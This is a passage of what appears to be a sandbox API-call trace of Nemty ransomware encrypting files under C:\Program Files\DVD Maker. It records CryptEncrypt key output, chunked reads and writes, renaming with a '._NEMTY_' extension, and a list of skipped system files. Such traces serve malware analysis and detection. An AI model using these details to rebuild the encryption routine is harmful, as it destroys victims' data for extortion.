RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Notes_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Trans_Notes_PAL.wmv", lpUsedDefaultChar=0x0) returned 25 [0073.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Notes_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0073.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0073.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Notes_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Trans_Notes_PAL.wmv", lpUsedDefaultChar=0x0) returned 25 [0073.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0073.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0073.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0073.630] Sleep (dwMilliseconds=0x5) [0073.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf8b0010, dwHighDateTime=0x1d561e7)) [0073.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf8b0010, dwHighDateTime=0x1d561e7)) [0073.645] GetLastError () returned 0x5 [0073.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.645] GetLastError () returned 0x5 [0073.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0073.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0073.646] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0073.646] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0073.646] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0073.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0073.646] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="3D7qcvBs1sggIdHh+Dv9QXbMdDJs5kYiXO10URGAFy87RDL9nn41zytUG/iNQMYX\r\nmDsAsDYrXh02DTX8a7QEws49R0c9BzBFZAxL3rRAT3Hm5RSH9ZlLFVu9LUvRMZZY\r\nUI9qaLN+ChXyRHAUEOlpfTib/b/huligDAYvFByDJuCIvjN51X/RM3ww6Sae+ut7\r\n1sLsfv+SK3Yv0L7SDdFMy+SxvtSBjqgW9tQjz0vayV7ly6Ij58seZYQ0vWJ15M4O\r\nTCbrXIiXSRQOBLOpjpOLHAHwxDXR7gGajY4dSjEKAo+z7LWWfRgxO4nE8zPprjEs\r\nyIQQSfFmbDidFWnNmrAeQA==\r\n", pcchString=0x653e91c) returned 1 [0073.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0073.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0073.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0073.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0073.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0073.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0073.646] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.646] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0073.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0073.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.646] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.704] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.704] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.722] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0073.754] CloseHandle (hObject=0xffffffff) returned 0 [0073.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0073.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0073.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0073.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0073.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0073.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0073.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0073.754] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv._nemty_kgobjgd_")) returned 0 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0073.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.754] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0073.754] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2=".") returned 1 [0073.754] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="..") returned 1 [0073.754] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="...") returned 1 [0073.754] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="windows") returned -1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="$RECYCLE.BIN") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="rsa") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="NTDETECT.COM") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="ntldr") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="MSDOS.SYS") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="IO.SYS") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="boot.ini") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="boot.ini") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="ntuser.dat") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="desktop.ini") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="CONFIG.SYS") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="RECYCLER") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="BOOTSECT.BAK") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="bootmgr") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="programdata") returned 1 [0073.755] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="appdata") returned 1 [0073.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0073.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_scene.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_scene.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="title_trans_scene.wmv", lpUsedDefaultChar=0x0) returned 21 [0073.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0073.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_scene.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_scene.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="title_trans_scene.wmv", lpUsedDefaultChar=0x0) returned 21 [0073.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0073.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0073.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0073.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_scene.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_scene.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="title_trans_scene.wmv", lpUsedDefaultChar=0x0) returned 21 [0073.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0073.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0073.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_scene.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0073.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_scene.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="title_trans_scene.wmv", lpUsedDefaultChar=0x0) returned 21 [0073.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0073.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0073.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0073.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94248 [0073.756] Sleep (dwMilliseconds=0x5) [0073.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf9e0b10, dwHighDateTime=0x1d561e7)) [0073.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf9e0b10, dwHighDateTime=0x1d561e7)) [0073.776] GetLastError () returned 0x5 [0073.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.776] GetLastError () returned 